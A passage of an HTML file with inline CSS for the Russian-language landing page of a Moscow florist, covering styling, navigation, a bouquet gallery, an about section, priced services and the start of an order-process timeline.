.process-dot-inner {\n            background: #1a0810;\n            box-shadow: 0 0 0 8px rgba(232, 96, 122, 0.08), 0 0 32px rgba(232, 96, 122, 0.4);\n            transform: scale(1.1);\n        }\n\n        /* Card — left side (odd steps) */\n\n        .process-card {\n            background: var(--bg3);\n            border: 1px solid rgba(232, 96, 122, 0.12);\n            border-radius: 22px;\n            padding: 2rem 2.2rem;\n            position: relative;\n            overflow: hidden;\n            transition: border-color 0.4s, transform 0.4s var(--transition), box-shadow 0.4s;\n        }\n\n        .process-card:hover {\n            border-color: rgba(232, 96, 122, 0.42);\n            transform: translateY(-5px);\n            box-shadow: 0 20px 50px rgba(0, 0, 0, 0.3), 0 0 0 1px rgba(232, 96, 122, 0.12);\n        }\n\n        /* Large ghost number in background */\n\n        .process-card::before {\n            content: attr(data-num);\n            position: absolute;\n            font-family: 'Comfortaa', cursive;\n            font-weight: 700;\n            font-size: 7rem;\n            line-height: 1;\n            color: rgba(232, 96, 122, 0.05);\n            pointer-events: none;\n        }\n\n        /* Odd: number top-right */\n\n        .process-step:nth-child(odd) .process-card::before {\n            right: -0.5rem;\n            top: -1rem;\n        }\n\n        /* Even: number top-left */\n\n        .process-step:nth-child(even) .process-card::before {\n            left: -0.5rem;\n            top: -1rem;\n        }\n\n        /* Glow blob */\n\n        .process-card::after {\n            content: '';\n            position: absolute;\n            width: 150px;\n            height: 150px;\n            border-radius: 50%;\n            background: radial-gradient(circle, rgba(232, 96, 122, 0.1) 0%, transparent 70%);\n            pointer-events: none;\n            opacity: 0;\n            transition: opacity 0.4s;\n        }\n\n        .process-step:nth-child(odd) .process-card::after {\n            top: -40px;\n            right: -40px;\n        }\n\n        .process-step:nth-child(even) .process-card::after {\n            top: -40px;\n            left: -40px;\n        }\n\n        .process-card:hover::after {\n            opacity: 1;\n        }\n\n        /* Odd step: card LEFT, empty RIGHT */\n\n        .process-step:nth-child(odd) .process-card {\n            grid-column: 1;\n            grid-row: 1;\n            text-align: right;\n        }\n\n        .process-step:nth-child(odd) .process-dot {\n            grid-column: 2;\n            grid-row: 1;\n        }\n\n        .process-step:nth-child(odd) .process-empty {\n            grid-column: 3;\n            grid-row: 1;\n        }\n\n        /* Even step: empty LEFT, card RIGHT */\n\n        .process-step:nth-child(even) .process-empty {\n            grid-column: 1;\n            grid-row: 1;\n        }\n\n        .process-step:nth-child(even) .process-dot {\n            grid-column: 2;\n            grid-row: 1;\n        }\n\n        .process-step:nth-child(even) .process-card {\n            grid-column: 3;\n            grid-row: 1;\n            text-align: left;\n        }\n\n        /* Arrow connector from dot to card */\n\n        .process-step:nth-child(odd) .process-dot::after {\n            content: '';\n            position: absolute;\n            right: 100%;\n            top: 50%;\n            width: 20px;\n            height: 1px;\n            background: linear-gradient(to left, var(--pink), transparent);\n            transform: translateY(-50%);\n        }\n\n        .process-step:nth-child(even) .process-dot::after {\n            content: '';\n            position: absolute;\n            left: 100%;\n            top: 50%;\n            width: 20px;\n            height: 1px;\n            background: linear-gradient(to right, var(--pink), transparent);\n            transform: translateY(-50%);\n        }\n\n        .process-icon {\n            font-size: 1.8rem;\n            margin-bottom: 0.8rem;\n            display: block;\n        }\n\n        .process-step:nth-child(odd) .process-icon {\n            text-align: right;\n        }\n\n        .process-step:nth-child(even) .process-icon {\n            text-align: left;\n        }\n\n        .process-card-tag {\n            display: inline-block;\n            padding: 0.25rem 0.8rem;\n            background: rgba(232, 96, 122, 0.12);\n            border: 1px solid rgba(232, 96, 122, 0.25);\n            border-radius: 50px;\n            font-family: 'Nunito', sans-serif;\n            font-size: 0.65rem;\n            font-weight: 700;\n            letter-spacing: 0.12em;\n            text-transform: uppercase;\n            color: var(--pink);\n            margin-bottom: 0.7rem;\n        }\n\n        .process-card h4 {\n            font-family: 'Comfortaa', cursive;\n            font-size: 1.15rem;\n            font-weight: 700;\n            color: var(--text);\n            margin-bottom: 0.5rem;\n            position: relative;\n        }\n\n        .process-card p {\n            font-size: 0.85rem;\n            color: var(--text-muted);\n            line-height: 1.75;\n            position: relative;\n        }\n\n        /* Mobile: single column */\n\n        @media (max-width: 700px) {\n            .process-timeline::before {\n                left: 28px;\n                transform: none;\n            }\n\n            .process-step {\n                grid-template-columns: 56px 1fr;\n            }\n\n            .process-step:nth-child(odd) .process-card,\n            .process-step:nth-child(even) .process-card {\n                grid-column: 2;\n                text-align: left;\n            }\n\n            .process-step:nth-child(odd) .process-dot,\n            .process-step:nth-child(even) .process-dot {\n                grid-column: 1;\n            }\n\n            .process-step:nth-child(odd) .process-empty,\n            .process-step:nth-child(even) .process-empty {\n                display: none;\n            }\n\n            .process-dot-inner {\n                width: 48px;\n                height: 48px;\n                font-size: 0.85rem;\n            }\n\n            .process-step:nth-child(odd) .process-card::before,\n            .process-step:nth-child(even) .process-card::before {\n                left: auto;\n                right: -0.5rem;\n            }\n\n            .process-step:nth-child(odd) .process-icon,\n            .process-step:nth-child(even) .process-icon {\n                text-align: left;\n            }\n        }\n\n        /* ──────────────────────────────────────────────\n       TESTIMONIALS\n    ────────────────────────────────────────────── */\n\n        #testimonials {\n            padding: 7rem 5vw;\n            overflow: hidden;\n        }\n\n        .testimonials-header {\n            text-align: center;\n            margin-bottom: 4rem;\n        }\n\n        .testimonials-track {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 1.5rem;\n        }\n\n        .testimonial-card {\n            padding: 2.2rem;\n            background: var(--bg3);\n            border: 1px solid rgba(232, 96, 122, 0.1);\n            border-radius: 18px;\n            transition: transform 0.4s var(--transition), border-color 0.4s;\n        }\n\n        .testimonial-card:hover {\n            transform: translateY(-5px);\n            border-color: rgba(232, 96, 122, 0.3);\n        }\n\n        .stars {\n            display: flex;\n            gap: 3px;\n            margin-bottom: 1.2rem;\n        }\n\n        .stars span {\n            color: var(--pink);\n            font-size: 0.9rem;\n        }\n\n        .testimonial-card p {\n            font-family: 'Nunito', sans-serif;\n            font-size: 0.92rem;\n            font-style: normal;\n            line-height: 1.8;\n            color: var(--text);\n            margin-bottom: 1.5rem;\n        }\n\n        .testimonial-author {\n            display: flex;\n            align-items: center;\n            gap: 0.9rem;\n        }\n\n        .author-avatar {\n            width: 40px;\n            height: 40px;\n            border-radius: 50%;\n            background: linear-gradient(135deg, var(--pink-deep), var(--pink));\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-family: 'Comfortaa', cursive;\n            font-size: 0.95rem;\n            font-weight: 700;\n            color: #fff;\n            flex-shrink: 0;\n        }\n\n        .author-name {\n            font-size: 0.85rem;\n            font-weight: 500;\n            color: var(--text);\n        }\n\n        .author-date {\n            font-size: 0.72rem;\n            color: var(--text-muted);\n        }\n\n        /* ──────────────────────────────────────────────\n       CTA BANNER\n    ────────────────────────────────────────────── */\n\n        #cta {\n            padding: 7rem 5vw;\n            background: var(--bg2);\n            text-align: center;\n            position: relative;\n        }\n\n        #cta::before {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background: radial-gradient(ellipse 60% 80% at 50% 50%, rgba(200, 60, 100, 0.1) 0%, transparent 70%);\n            pointer-events: none;\n        }\n\n        .cta-inner {\n            position: relative;\n            z-index: 1;\n            max-width: 680px;\n            margin: 0 auto;\n        }\n\n        .cta-inner .section-title {\n            font-size: clamp(2rem, 4.5vw, 4rem);\n        }\n\n        .cta-inner p {\n            font-size: 0.95rem;\n            color: var(--text-muted);\n            line-height: 1.8;\n            margin-bottom: 2.8rem;\n        }\n\n        /* ──────────────────────────────────────────────\n       CONTACT\n    ────────────────────────────────────────────── */\n\n        #contact {\n            padding: 7rem 5vw;\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 6rem;\n            align-items: start;\n        }\n\n        .contact-info {}\n\n        .contact-info .section-title {\n            margin-bottom: 1.4rem;\n        }\n\n        .contact-desc {\n            font-size: 0.9rem;\n            color: var(--text-muted);\n            line-height: 1.8;\n            margin-bottom: 2.8rem;\n        }\n\n        .contact-links {\n            display: flex;\n            flex-direction: column;\n            gap: 1rem;\n        }\n\n        .contact-link {\n            display: flex;\n            align-items: center;\n            gap: 1rem;\n            text-decoration: none;\n            padding: 1rem 1.4rem;\n            background: var(--bg3);\n            border-radius: 12px;\n            border: 1px solid rgba(232, 96, 122, 0.1);\n            transition: border-color 0.3s, transform 0.3s;\n        }\n\n        .contact-link:hover {\n            border-color: rgba(232, 96, 122, 0.4);\n            transform: translateX(6px);\n        }\n\n        .link-icon {\n            width: 40px;\n            height: 40px;\n            background: var(--pink-glow);\n            border-radius: 10px;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 1.1rem;\n            flex-shrink: 0;\n            color: #ffffff;\n        }\n\n        .link-label {\n            font-size: 0.72rem;\n            color: var(--text-muted);\n            letter-spacing: 0.06em;\n        }\n\n        .link-value {\n            font-size: 0.88rem;\n            color: var(--text);\n            margin-top: 1px;\n        }\n\n        /* FORM */\n\n        .contact-form {\n            display: flex;\n            flex-direction: column;\n            gap: 1rem;\n        }\n\n        .form-row {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 1rem;\n        }\n\n        .field {\n            display: flex;\n            flex-direction: column;\n            gap: 0.4rem;\n        }\n\n        .field label {\n            font-size: 0.72rem;\n            letter-spacing: 0.1em;\n            text-transform: uppercase;\n            color: var(--text-muted);\n        }\n\n        .field input,\n        .field textarea,\n        .field select {\n            background: var(--bg3);\n            border: 1px solid rgba(232, 96, 122, 0.15);\n            border-radius: 10px;\n            padding: 0.85rem 1.1rem;\n            color: var(--text);\n            font-family: 'Nunito', sans-serif;\n            font-size: 0.88rem;\n            outline: none;\n            transition: border-color 0.3s, box-shadow 0.3s;\n            resize: none;\n        }\n\n        .field input:focus,\n        .field textarea:focus,\n        .field select:focus {\n            border-color: var(--pink);\n            box-shadow: 0 0 0 3px rgba(232, 96, 122, 0.12);\n        }\n\n        .field textarea {\n            min-height: 120px;\n        }\n\n        .field select option {\n            background: var(--bg3);\n        }\n\n        .form-submit {\n            width: 100%;\n            padding: 1rem;\n            background: linear-gradient(135deg, var(--pink-deep), var(--pink));\n            color: #fff;\n            border: none;\n            border-radius: 50px;\n            font-family: 'Nunito', sans-serif;\n            font-size: 0.82rem;\n            font-weight: 700;\n            letter-spacing: 0.1em;\n            text-transform: uppercase;\n            cursor: none;\n            transition: box-shadow 0.3s, transform 0.3s;\n            box-shadow: 0 0 24px rgba(232, 96, 122, 0.3);\n            position: relative;\n            overflow: hidden;\n        }\n\n        .form-submit:hover {\n            transform: translateY(-2px);\n            box-shadow: 0 0 40px rgba(232, 96, 122, 0.5);\n        }\n\n        /* ──────────────────────────────────────────────\n       FOOTER\n    ────────────────────────────────────────────── */\n\n        footer {\n            padding: 3rem 5vw 2rem;\n            background: var(--bg);\n            border-top: 1px solid rgba(232, 96, 122, 0.1);\n            display: flex;\n            align-items: center;\n            justify-content: space-between;\n            flex-wrap: wrap;\n            gap: 1.5rem;\n        }\n\n        footer .nav-logo {\n            font-size: 1.2rem;\n        }\n\n        .footer-copy {\n            font-size: 0.75rem;\n            color: var(--text-muted);\n        }\n\n        .footer-social {\n            display: flex;\n            gap: 0.8rem;\n        }\n\n        .social-btn {\n            width: 38px;\n            height: 38px;\n            border-radius: 50%;\n            border: 1px solid rgba(232, 96, 122, 0.2);\n            background: transparent;\n            color: var(--text-muted);\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.9rem;\n            cursor: none;\n            text-decoration: none;\n            transition: border-color 0.3s, color 0.3s, background 0.3s;\n        }\n\n        .social-btn:hover {\n            border-color: var(--pink);\n            color: var(--pink);\n            background: var(--pink-glow2);\n        }\n\n        /* ──────────────────────────────────────────────\n       SCROLL PROGRESS\n    ────────────────────────────────────────────── */\n\n        #scroll-progress {\n            position: fixed;\n            top: 0;\n            left: 0;\n            height: 2px;\n            background: linear-gradient(to right, var(--pink-deep), var(--pink-light));\n            z-index: 9999;\n            transition: width 0.1s linear;\n            box-shadow: 0 0 8px var(--pink);\n        }\n\n        /* ──────────────────────────────────────────────\n       LIGHTBOX\n    ────────────────────────────────────────────── */\n\n        #lightbox {\n            position: fixed;\n            inset: 0;\n            background: rgba(0, 0, 0, 0.92);\n            z-index: 9000;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            opacity: 0;\n            pointer-events: none;\n            transition: opacity 0.4s;\n            backdrop-filter: blur(8px);\n        }\n\n        #lightbox.open {\n            opacity: 1;\n            pointer-events: all;\n        }\n\n        #lightbox img {\n            width: min(88vw, 720px);\n            height: min(82vh, 540px);\n            object-fit: contain;\n            border-radius: 12px;\n            transform: scale(0.9);\n            transition: transform 0.4s ease;\n            box-shadow: 0 30px 80px rgba(0, 0, 0, 0.7), 0 0 0 1px rgba(232, 96, 122, 0.2);\n        }\n\n        #lightbox.open img {\n            transform: scale(1);\n        }\n\n        #lightbox-close {\n            position: absolute;\n            top: 1.5rem;\n            right: 2rem;\n            font-size: 1.6rem;\n            color: var(--text-muted);\n            cursor: none;\n            transition: color 0.3s;\n        }\n\n        #lightbox-close:hover {\n            color: var(--pink);\n        }\n\n        /* ──────────────────────────────────────────────\n       MOBILE\n    ────────────────────────────────────────────── */\n\n        @media (max-width: 900px) {\n            #hero {\n                grid-template-columns: 1fr;\n                height: auto;\n                min-height: 100vh;\n                padding: 6rem 5vw 3rem;\n                text-align: center;\n            }\n\n            .hero-visual {\n                display: none;\n            }\n\n            .hero-cta {\n                justify-content: center;\n            }\n\n            .hero-eyebrow {\n                justify-content: center;\n            }\n\n            #about {\n                grid-template-columns: 1fr;\n                gap: 3rem;\n                padding: 5rem 5vw;\n            }\n\n            .about-images {\n                height: 320px;\n            }\n\n            #contact {\n                grid-template-columns: 1fr;\n                gap: 3rem;\n            }\n\n            .form-row {\n                grid-template-columns: 1fr;\n            }\n\n            .testimonials-track {\n                grid-template-columns: 1fr;\n            }\n\n            .gallery-grid {\n                grid-template-columns: 1fr 1fr;\n            }\n\n            .gallery-item:nth-child(n) {\n                grid-column: span 1;\n                grid-row: span 1;\n            }\n\n            .nav-links {\n                display: none;\n            }\n\n            .nav-burger {\n                display: flex;\n            }\n        }\n\n        @media (max-width: 600px) {\n            .about-stats {\n                grid-template-columns: 1fr 1fr;\n            }\n\n            .gallery-grid {\n                grid-template-columns: 1fr;\n            }\n\n            .gallery-item:nth-child(n) {\n                grid-column: span 1;\n                grid-row: span 1;\n            }\n        }\n\n        /* ── Mobile burger: X-animation ── */\n        .nav-burger span {\n            transition: transform .3s ease, opacity .3s ease, transform .3s ease;\n        }\n\n        .nav-burger.open span:nth-child(1) {\n            transform: translateY(6.5px) rotate(45deg);\n        }\n\n        .nav-burger.open span:nth-child(2) {\n            opacity: 0;\n            transform: scaleX(0);\n        }\n\n        .nav-burger.open span:nth-child(3) {\n            transform: translateY(-6.5px) rotate(-45deg);\n        }\n\n        /* ── Mobile overlay (вынесен из nav, чтобы backdrop-filter не зажимал) ── */\n        #mob-panel {\n            display: none;\n            position: fixed;\n            inset: 0;\n            z-index: 500;\n            background: rgba(10, 10, 10, 0.97);\n            backdrop-filter: blur(24px);\n            -webkit-backdrop-filter: blur(24px);\n            flex-direction: column;\n            align-items: center;\n            justify-content: center;\n            gap: 1.6rem;\n            list-style: none;\n            padding: 0;\n            margin: 0;\n        }\n\n        #mob-panel.open {\n            display: flex;\n            animation: mobMenuIn .3s ease forwards;\n        }\n\n        @keyframes mobMenuIn {\n            from {\n                opacity: 0;\n                transform: scale(1.04);\n            }\n\n            to {\n                opacity: 1;\n                transform: scale(1);\n            }\n        }\n\n        #mob-panel li {\n            animation: mobLinkIn .32s ease both;\n        }\n\n        #mob-panel li:nth-child(1) {\n            animation-delay: .06s;\n        }\n\n        #mob-panel li:nth-child(2) {\n            animation-delay: .12s;\n        }\n\n        #mob-panel li:nth-child(3) {\n            animation-delay: .18s;\n        }\n\n        #mob-panel li:nth-child(4) {\n            animation-delay: .24s;\n        }\n\n        #mob-panel li:nth-child(5) {\n            animation-delay: .30s;\n        }\n\n        @keyframes mobLinkIn {\n            from {\n                opacity: 0;\n                transform: translateY(18px);\n            }\n\n            to {\n                opacity: 1;\n                transform: translateY(0);\n            }\n        }\n\n        #mob-panel a {\n            font-size: 1.5rem;\n            letter-spacing: .06em;\n            color: var(--text-muted);\n            text-decoration: none;\n            font-family: 'Nunito', sans-serif;\n            font-weight: 600;\n            text-transform: uppercase;\n            transition: color 0.3s;\n        }\n\n        #mob-panel a:hover {\n            color: var(--pink-light);\n        }\n    </style>\n</head>\n\n<body>\n\n    <!-- Cursor -->\n    <div id=\"cursor\"></div>\n    <div id=\"cursor-ring\"></div>\n\n    <!-- Scroll progress -->\n    <div id=\"scroll-progress\"></div>\n\n    <!-- Lightbox -->\n    <div id=\"lightbox\">\n        <span id=\"lightbox-close\">✕</span>\n        <img id=\"lightbox-img\" src=\"\" alt=\"\" />\n    </div>\n\n    <!-- ══════════════════════ NAV ══════════════════════ -->\n    <nav id=\"nav\">\n        <a href=\"#hero\" class=\"nav-logo\">Ana<span>stasia</span></a>\n        <ul class=\"nav-links\">\n            <li><a href=\"#portfolio\">Работы</a></li>\n            <li><a href=\"#services\">Услуги</a></li>\n            <li><a href=\"#about\">Обо мне</a></li>\n            <li><a href=\"#testimonials\">Отзывы</a></li>\n            <li><a href=\"#contact\">Контакт</a></li>\n        </ul>\n        <button class=\"nav-burger\" id=\"nav-burger\" aria-label=\"Меню\">\n            <span></span><span></span><span></span>\n        </button>\n    </nav>\n\n    <!-- Мобильный оверлей вне nav — иначе backdrop-filter nav.scrolled зажимает position:fixed -->\n    <ul id=\"mob-panel\">\n        <li><a href=\"#portfolio\">Работы</a></li>\n        <li><a href=\"#services\">Услуги</a></li>\n        <li><a href=\"#about\">Обо мне</a></li>\n        <li><a href=\"#testimonials\">Отзывы</a></li>\n        <li><a href=\"#contact\">Контакт</a></li>\n    </ul>\n\n    <!-- ══════════════════════ HERO ══════════════════════ -->\n    <section id=\"hero\">\n        <div class=\"hero-bg-gradient\"></div>\n\n        <!-- Falling petals (generated by JS) -->\n        <div id=\"petals-container\"></div>\n\n        <div class=\"hero-content\">\n            <p class=\"hero-eyebrow\">Цветочная студия Москва</p>\n            <h1 class=\"hero-title\">\n                Искусство<br /><em>живых</em><br /><span class=\"stroke\">цветов</span>\n            </h1>\n            <p class=\"hero-desc\">\n                Создаю букеты и флористические композиции, которые говорят больше, чем слова. Каждый цветок — деталь истории, которую вы хотите рассказать.\n            </p>\n            <div class=\"hero-cta\">\n                <a href=\"#portfolio\" class=\"btn-primary\"><span>Смотреть работы</span></a>\n                <a href=\"#contact\" class=\"btn-ghost\">Заказать букет</a>\n            </div>\n        </div>\n\n        <div class=\"hero-visual\">\n            <div class=\"hero-img-frame\">\n                <img src=\"media/1.png\" alt=\"Флорист Анастасия\" />\n                <div class=\"hero-badge\">\n                    <div class=\"badge-num\">500+</div>\n                    <div class=\"badge-label\">довольных клиентов</div>\n                </div>\n                <div class=\"hero-badge2\">\n                    <div class=\"dot-live\"></div>\n                    <span>Принимаю заказы</span>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ══════════════════════ MARQUEE ══════════════════════ -->\n    <div class=\"marquee-wrap\">\n        <div class=\"marquee-track\" id=\"marquee\">\n            <span class=\"marquee-item\">Свадебные букеты</span>\n            <span class=\"marquee-item\">Авторские композиции</span>\n            <span class=\"marquee-item\">Праздничный декор</span>\n            <span class=\"marquee-item\">Живые букеты</span>\n            <span class=\"marquee-item\">Флористика на заказ</span>\n            <span class=\"marquee-item\">Корпоративные заказы</span>\n            <span class=\"marquee-item\">Сухоцветы</span>\n            <span class=\"marquee-item\">Цветочные коробки</span>\n            <span class=\"marquee-item\">Свадебные букеты</span>\n            <span class=\"marquee-item\">Авторские композиции</span>\n            <span class=\"marquee-item\">Праздничный декор</span>\n            <span class=\"marquee-item\">Живые букеты</span>\n            <span class=\"marquee-item\">Флористика на заказ</span>\n            <span class=\"marquee-item\">Корпоративные заказы</span>\n            <span class=\"marquee-item\">Сухоцветы</span>\n            <span class=\"marquee-item\">Цветочные коробки</span>\n        </div>\n    </div>\n\n    <!-- ══════════════════════ PORTFOLIO ══════════════════════ -->\n    <section id=\"portfolio\">\n        <div class=\"portfolio-header reveal\">\n            <p class=\"section-label\" style=\"justify-content:center\">Мои работы</p>\n            <h2 class=\"section-title\">Примеры <em>букетов</em></h2>\n        </div>\n\n        <div class=\"gallery-grid\">\n            <div class=\"gallery-item reveal\" data-img=\"media/1.png\">\n                <img src=\"media/1.png\" alt=\"Работа 1\" loading=\"lazy\" />\n                <div class=\"gallery-overlay\">\n                    <h3>Нежный романс</h3>\n                    <p>Авторская композиция · Весна 2025</p>\n                </div>\n            </div>\n            <div class=\"gallery-item reveal\" style=\"transition-delay:0.1s\" data-img=\"media/2.png\">\n                <img src=\"media/2.png\" alt=\"Работа 2\" loading=\"lazy\" />\n                <div class=\"gallery-overlay\">\n                    <h3>Летний сад</h3>\n                    <p>Праздничный букет · Лето 2025</p>\n                </div>\n            </div>\n            <div class=\"gallery-item reveal\" style=\"transition-delay:0.2s\" data-img=\"media/3.png\">\n                <img src=\"media/3.png\" alt=\"Работа 3\" loading=\"lazy\" />\n                <div class=\"gallery-overlay\">\n                    <h3>Утренняя роса</h3>\n                    <p>Свадебный букет · Осень 2024</p>\n                </div>\n            </div>\n            <div class=\"gallery-item reveal\" style=\"transition-delay:0.3s\" data-img=\"media/4.png\">\n                <img src=\"media/4.png\" alt=\"Работа 4\" loading=\"lazy\" />\n                <div class=\"gallery-overlay\">\n                    <h3>Розовый закат</h3>\n                    <p>Корпоративный заказ · Зима 2025</p>\n                </div>\n            </div>\n            <div class=\"gallery-item reveal\" style=\"transition-delay:0.4s\" data-img=\"media/5.png\">\n                <img src=\"media/5.png\" alt=\"Работа 5\" loading=\"lazy\" />\n                <div class=\"gallery-overlay\">\n                    <h3>Весенняя коллекция</h3>\n                    <p>Авторская коллекция · 2025</p>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ══════════════════════ ABOUT ══════════════════════ -->\n    <section id=\"about\">\n        <div class=\"about-images reveal-left\">\n            <div class=\"about-img about-img-1\">\n                <img src=\"media/2.png\" alt=\"Работа флориста\" />\n            </div>\n            <div class=\"about-img about-img-2\">\n                <img src=\"media/4.png\" alt=\"Цветочная композиция\" />\n            </div>\n            <div class=\"about-accent\"></div>\n        </div>\n\n        <div class=\"about-text reveal-right\">\n            <p class=\"section-label\">Обо мне</p>\n            <h2 class=\"section-title\">Привет, я <em>Анастасия</em></h2>\n            <p class=\"about-body\">\n                Флорист с шестилетним опытом. Каждый букет — это разговор без слов: нежный, страстный или торжественный. Я работаю со свежими цветами напрямую с плантаций, чтобы каждая деталь оставалась живой как можно дольше.\n            </p>\n            <p class=\"about-body\">\n                Создаю авторские букеты, свадебный декор, цветочные коробки и корпоративные заказы. Для меня важна не просто красота — важна та эмоция, которую вы подарите вместе с цветами.\n            </p>\n            <div class=\"about-stats\">\n                <div class=\"stat-card\">\n                    <div class=\"stat-num\">6+</div>\n                    <div class=\"stat-label\">лет опыта</div>\n                </div>\n                <div class=\"stat-card\">\n                    <div class=\"stat-num\">500+</div>\n                    <div class=\"stat-label\">довольных клиентов</div>\n                </div>\n                <div class=\"stat-card\">\n                    <div class=\"stat-num\">50+</div>\n                    <div class=\"stat-label\">свадебных заказов</div>\n                </div>\n                <div class=\"stat-card\">\n                    <div class=\"stat-num\">100%</div>\n                    <div class=\"stat-label\">свежие цветы</div>\n                </div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ══════════════════════ SERVICES ══════════════════════ -->\n    <section id=\"services\">\n        <div class=\"services-header reveal\">\n            <p class=\"section-label\">Услуги</p>\n            <h2 class=\"section-title\">Что я <em>создаю</em></h2>\n        </div>\n\n        <div class=\"services-grid\">\n            <div class=\"service-card reveal\">\n                <div class=\"service-icon\"><svg width=\"28\" height=\"28\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"var(--pink)\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                        <circle cx=\"9\" cy=\"5\" r=\"2.5\" />\n                        <circle cx=\"15\" cy=\"4\" r=\"2\" />\n                        <circle cx=\"7\" cy=\"9\" r=\"2\" />\n                        <path d=\"M9 7.5 L9 18 M15 6 L14 18 M7 11 L9 18\" />\n                        <path d=\"M6.5 17 Q12 20.5 17.5 17\" stroke-width=\"1.5\" />\n                    </svg></div>\n                <h3>Авторский букет</h3>\n                <p>Уникальный букет, созданный специально для вас. Подбираю цветы и оформление под ваше настроение и бюджет.</p>\n                <div class=\"service-price\">от <span>2 500 ₽</span></div>\n            </div>\n            <div class=\"service-card reveal\" style=\"transition-delay:0.1s\">\n                <div class=\"service-icon\"><svg width=\"28\" height=\"28\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"var(--pink)\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                        <circle cx=\"12\" cy=\"9\" r=\"5\" />\n                        <path d=\"M9 9 L12 4 L15 9\" />\n                        <path d=\"M8 15 Q12 21 16 15 L15 9 Q12 12 9 9 Z\" stroke-linejoin=\"round\" />\n                    </svg></div>\n                <h3>Свадебная флористика</h3>\n                <p>Букет невесты, оформление зала, бутоньерки. Полное сопровождение вашего особенного дня.</p>\n                <div class=\"service-price\">от <span>15 000 ₽</span></div>\n            </div>\n            <div class=\"service-card reveal\" style=\"transition-delay:0.2s\">\n                <div class=\"service-icon\"><svg width=\"28\" height=\"28\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"var(--pink)\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                        <rect x=\"3\" y=\"10\" width=\"18\" height=\"11\" rx=\"2\" />\n                        <rect x=\"2\" y=\"6\" width=\"20\" height=\"4\" rx=\"1.5\" />\n                        <line x1=\"12\" y1=\"6\" x2=\"12\" y2=\"21\" />\n                        <path d=\"M12 6 C12 6 9 2 7 4.5 C5.5 6.5 8.5 6.5 8.5 6.5\" />\n                        <path d=\"M12 6 C12 6 15 2 17 4.5 C18.5 6.5 15.5 6.5 15.5 6.5\" />\n                    </svg></div>\n                <h3>Цветочная коробка</h3>\n                <p>Стильная шляпная коробка с живыми цветами — идеальный подарок на любой праздник.</p>\n                <div class=\"service-price\">от <span>3 500 ₽</span></div>\n            </div>\n            <div class=\"service-card reveal\" style=\"transition-delay:0.3s\">\n                <div class=\"service-icon\"><svg width=\"28\" height=\"28\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"var(--pink)\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                        <rect x=\"4\" y=\"3\" width=\"16\" height=\"18\" rx=\"1.5\" />\n                        <rect x=\"7\" y=\"6\" width=\"3\" height=\"3\" rx=\".5\" />\n                        <rect x=\"14\" y=\"6\" width=\"3\" height=\"3\" rx=\".5\" />\n                        <rect x=\"7\" y=\"12\" width=\"3\" height=\"3\" rx=\".5\" />\n                        <rect x=\"14\" y=\"12\" width=\"3\" height=\"3\" rx=\".5\" />\n                        <rect x=\"9\" y=\"17\" width=\"6\" height=\"4\" />\n                    </svg></div>\n                <h3>Корпоративный декор</h3>\n                <p>Украшение офисов, мероприятий, фотосессий. Регулярные поставки свежих цветов.</p>\n                <div class=\"service-price\">от <span>8 000 ₽</span></div>\n            </div>\n        </div>\n    </section>\n\n    <!-- ══════════════════════ PROCESS ══════════════════════ -->\n    <section id=\"process\">\n        <div class=\"process-header reveal\">\n            <p class=\"section-label\" style=\"justify-content:center\">Как это работает</p>\n            <h2 class=\"section-title\">Путь от <em>идеи</em> до букета</h2>\n        </div>\n\n        <div class=\"process-timeline\">\n\n            <div class=\"process-step reveal\">\n                <div class=\"process-card\" data-num=\"01\">\n                    <span class=\"process-icon\"><svg width=\"26\" height=\"26\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"var(--pink)\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <path d=\"M4 3h16a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H6l-4 4V5a2 2 0 0 1 2-2z\" />\n                            <line x1=\"8\" y1=\"9\" x2=\"16\" y2=\"9\" />\n                            <line x1=\"8\" y1=\"13\" x2=\"13\" y2=\"13\" />\n                        </svg></span>\n                    <div class=\"process-card-tag\">Шаг 01</div>\n                    <h4>Консультация</h4>\n                    <p>Обсуждаем ваши пожелания, повод и бюджет в мессенджере или по телефону. Я задам нужные вопросы и помогу с выбором.</p>\n                </div>\n                <div class=\"process-dot\">\n                    <div class=\"process-dot-inner\">01</div>\n                </div>\n                <div class=\"process-empty\"></div>\n            </div>\n\n            <div class=\"process-step reveal\" style=\"transition-delay:0.15s\">\n                <div class=\"process-empty\"></div>\n                <div class=\"process-dot\">\n                    <div class=\"process-dot-inner\">02</div>\n                </div>\n                <div class=\"process-card\" data-num=\"02\">\n                    <span class=\"process-icon\"><svg width=\"26\" height=\"26\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"var(--pink)\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n                            <circle cx=\"12\" cy=\"12\" r=\"9\" />\n                            <circle cx=\"8.5\" cy=\"10\" r=\"1.5\" fill=\"var(--pink)\" />\n                            <circle cx=\"14\" cy=\"9\" r=\"1.5\" fill=\"var(--pink)\" />\n                            <circle cx=\"8.5\" cy=\"15\" r=\"1.5\" fill=\"var(--pink)\" />\n                            <circle cx=\"15.5\" cy=\"14\" r=\"1.5\" fill=\"var(--pink)\" />\n                            <path d=\"M12 3 C9 7 8 10 12 12 C16 10 15 7 12 3\" stroke-width=\"1.2\" />\n                        </svg></span>\n                    <div 